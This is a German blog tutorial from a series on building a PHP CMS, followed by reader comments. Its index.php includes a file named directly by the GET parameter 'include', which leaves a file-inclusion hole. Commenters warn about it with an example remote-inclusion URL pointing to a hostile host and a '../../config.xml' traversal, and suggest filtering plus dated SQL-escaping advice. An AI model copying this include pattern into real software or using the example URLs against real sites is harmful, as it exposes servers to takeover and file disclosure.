0251 / 590 837 15
info@a-coding-project.de
;

Content auf die Seite bringen – Code & Blog

Code & Blog Logo

Code & Blog Logo

Der Content des CMS liegt ja wie bereits geschrieben in Dateiform im Ordner content. Die Artikel liegen dort im Verzeichnis articles und die Bilder im Verzeichnis images. Um hier später eine überall gleiche Oberfläche zu bieten, müssen wir diese Dateien auf einer Seite importieren. Das machen wir mit der Seite index.php im Hauptverzeichnis.

Mit dem Get-Parameter include geben wir der Seite hier mit, worauf sie zugreifen soll. Das ist zwar so noch nicht wirklich schön, aber keine Angst, es wird später besser.

Hier erstmal der Code der Datei index.php:

<?PHP
include("content/articles/".$_GET['include']);
?>

Wie ihr seht, wird erstmal nur stumpf die Seite importiert, ohne HTML-Tags o.Ä. – Das kommt aber später ;-).

Nun muss das ganze noch getestet werden. Hierfür habe ich die Datei testseite.php geschrieben und diese in das Verzeichnis content/articles/ gelegt. Sie sieht so aus:

<h1>Testseite</h1>

Wenn man nun die Seite index.php mit den Parameter testseite.php aufruft, sollte nun die Überschrift Testseite kommen. Bei mir ist das die folgende URL:

http://cms.stevieswebsite.de/index.php?include=testseite.php

Hinweis: Die Seite kann sich durch die Weiterentwicklung schon geändert haben.

Dies ist ein Beitrag aus der Aktion Code & Blog, in der hier ein eigenes CMS erstellt wird.

Kommentare

Christian Land schrieb am 12.04.2009:

Wenn man rein von dem Code ausgeht den Du hier veröffentlichst, hast Du unter Umständen ein extremes Sicherheitsloch. Man nimmt *niemals* einen Wert aus $_GET und macht ein include() darauf. Je nachdem wie Dein Server konfiguriert ist kann man dann nämlich über index.php?include=http://böseseite/serverkill.php ein PHP-Script von einem fremden WebServer einbinden und so die Kontrolle über Deinen Server übernehmen.

stevie schrieb am 12.04.2009:

Guter Einwand, ich werd dann mal nen neuen Beitrag schreiben, in welchen die Sicherheitslücke behoben wird. Kann man das eigentlich nicht irgendwie in der php.ini oder so einstellen?

Christian Land schrieb am 12.04.2009:

Prinzipiell kann man das in der PHP.INI z.B. über allow_url_fopen, allow_url_include, etc. (Stichwort fopen-Wrapper) deaktivieren. Besser wäre aber einfach aus der GET-Variable alles bis auf a-z, A-Z und 0-9 zu entfernen. Das ".php" würde ich auch nicht mit runtergeben weil es überflüssig ist. Du könntest also sowas nutzen: $filename = $_GET['include']; $filename = preg_replace('/[^a-z0-9]/i','',$filename); Das entfernt alles außer a-z, A-Z und 0-9 aus dem Dateinamen.

stevie schrieb am 12.04.2009:

asoo, ok danke, werds im nächsten Beitrag einbauen, wollte dort sowieso was mit der Sicherheit von dem Internen include einbauen (wobei das exterene natürlich noch gefährlicher ist) damit mein ich sowas wie index.php?include=../../config.xml

Christian Land schrieb am 13.04.2009:

Dein Linktauschscript hat übrigens auch ein paar derbe Sicherheitsprobleme. Nur mal so als generelle Richtlinie: übernimm NIEMALS Variablen aus $_GET oder $_POST direkt ungefiltert. Bei SQL-Queries z.B. sollte *mindestens* ein addslashes oder mysql_real_escape_string benutzt werden. Oder ein explizites Type-Casting mit (int) wenn Du eine Zahl erwartest, etc. weil man sonst die SQL-Queries missbrauchen/umgehen kann.

Stefan Wienströer schrieb am 13.04.2009:

danke für den Tipp, die neue Version des Scriptes wird es ehh schon bald geben, da kann ich dort nochmal was machen

Stefan Wienströer schrieb am 13.04.2009:

Ich hab jetzt nen neuen Beitrag geschrieben, er befindet sich hier: http://blog.stevieswebsite.de/2009/04/sicherheit-des-include-befehls-code-blog

aioon schrieb am 22.08.2009:

Trotzdem hat es eine sicherheitslücke drin mit denen man andere Sachen sich anschauen kann ^^ wie verrate ich nicht, aber ich würde die Funktion file_exists noch einbauen :) Gruß Alex

Stefan Wienströer schrieb am 22.08.2009:

Ich schreibst auf meine Todoo, danke für den Tipp.

Aroxan schrieb am 30.01.2010:

Hey... sehe ich das falsch, oder wurde hier was vergessen? Sehe keinen eintrag, um der seite zu sagen, WAS include eigentlich holen soll! Bzw. es fehlt die aussagen das die testseite.php in den content soll!

Stefan Wienströer schrieb am 30.01.2010:

Die Datei steht in der Variable $_GET['include']. Diese wird durch Mod Rewrite per Parameter übergeben.

Aroxan schrieb am 30.01.2010:

Hey.... Was das antworten angeht bist du ja echt fix! ^^ Zur Antwort: Ich habe bisher leider noch nicht alles durch gelesen (ja ich lese jetzt alles schritt für schritt).... Ok. meinen ersten fehler habe ich gefunden! Tut 8: testseite.php Tut 10: testseite.htm Hab nun auch in der .htacces .php eingetragen! Leider bekomm ich nun immernoch "Objekt nicht gefunden! Der angeforderte URL konnte auf dem Server nicht gefunden werden........" eine idee? Hab wirklich 1:1 das Tutorial bis 10 befolgt!

Aroxan schrieb am 30.01.2010:

Ok... sry... hatt übersehen, das ich die seite direkt mit index.php?include=testseite(.php) in die addy eintragen muss!

Chris schrieb am 26.12.2010:

Hi, ich bekomme immer noch eine Fehlermeldung in meiner index.php datei! Kann mir jemand helfen?? Hier der Fehler: Warning: include(content/articles/testseite) [function.include]: failed to open stream: No such file or directory in /users/chris/www/index.php on line 2 Warning: include() [function.include]: Failed opening 'content/articles/testseite' for inclusion (include_path='.') in /users/chris/www/index.php on line 2 Danke schön

Chris schrieb am 26.12.2010:

Hab es hinbekommen aber trotzdem danke!!

Julian schrieb am 28.01.2011:

Und wieder klappt etwas nicht...:( Was muss ich machen, damit der Browser weiß was er integrieren soll? Wäre jeder Hilfe dankbar!

Stefan Wienströer schrieb am 29.01.2011:

der Browser weiß gar nichts^^ Mit dem ?include=XXX gibst du an, welche Datei von der index.php geladen werden soll.

Dirk schrieb am 11.02.2011:

Hallo Stefan, erst einmal vielen Dank für Dein Tutorial. Du genießt meine vollste Anerkennung für diese Leistung. Nun mein Problem, welches ich schon an dieser Stelle habe. Denn ich schnalle auch nicht, weshalb die testseite.php geladen werden soll. Bei mir kommt auch die Fehl(er)meldung. Bin php-Lehrling, wie Du sicherlich merkst. Vielen Dank Dirk

Stefan Wienströer schrieb am 11.02.2011:

Der Seite mit der Url (Parameter Input) mitgegeben, dasse testseite.php mit include in die Seite geladen werden soll.

Dirk schrieb am 11.02.2011:

Hallo Stefan, danke für Deine schnelle Antwort. Nur verstehen tue ich es nicht. Ich habe hier gelesen, dass man in die Adresszeile "http://www.root.de/cms/index.php?include=testseite" eintragen soll. Stimmt das, oder wird die Testseite Seite nur durch Aufruf "http://www.root.de/cms/index.php" gefunden? Wenn ja, wie funktioniert das? Und warum geht das nicht bei mir? Vielen Dank Stefan Dirk

Stefan Wienströer schrieb am 11.02.2011:

alles was hinter dem ? angegeben wird sind parameter für die Seite. Aufgerufen wird immer die index.php

Dirk schrieb am 11.02.2011:

Hallo Stefan, aber wenn ich in die Adresszeile nur “http://www.root.de/cms/index.php” eingebe, dann kommt gar nichts. Was mache ich falsch? Egal, wie die Testseite die Endung .php oder .htm hat. Und welche Endung soll sie denn nun haben? Gruß Dirk

Jan schrieb am 25.08.2011:

So eingegeben wie es da steht, aber bei mir kommt nur Fehlermeldung. Konnte die Datei nicht finden: "Warning: include(content/articles/) [function.include]: failed to open stream: No such file or directory in" Warum? Die Ordner bzw Verzeichnisse existieren...

Stefan Wienströer schrieb am 25.08.2011:

@Dirk: Hab deinen Kommentar wohl irgendwie übersehen. Falls du es noch brauchst: Zu diesem Zeitpunkt ist es noch .php. @Jan: Welche Rechte sind auf den Ordner?

Jan schrieb am 26.08.2011:

lese und schreibrechte, falls du das meinst- Die Ordner liegen auf dem Testserver und ich kann prinzipiell damit machen was ich will, löschen, verschieben, kopieren etc. bekomme im übrigen jetzt nachdem ich die sys.php gemacht habe eine ganz andere fehlermeldung:"Strict standards: Non-static method sys::includeContent() should not be called statically in..."zusätzlich zu der anderen. diese bin ich umgangen indem ich den pfad direkt angegeben habe, also include(/pfad/zu/datei.php)so gings erstmal...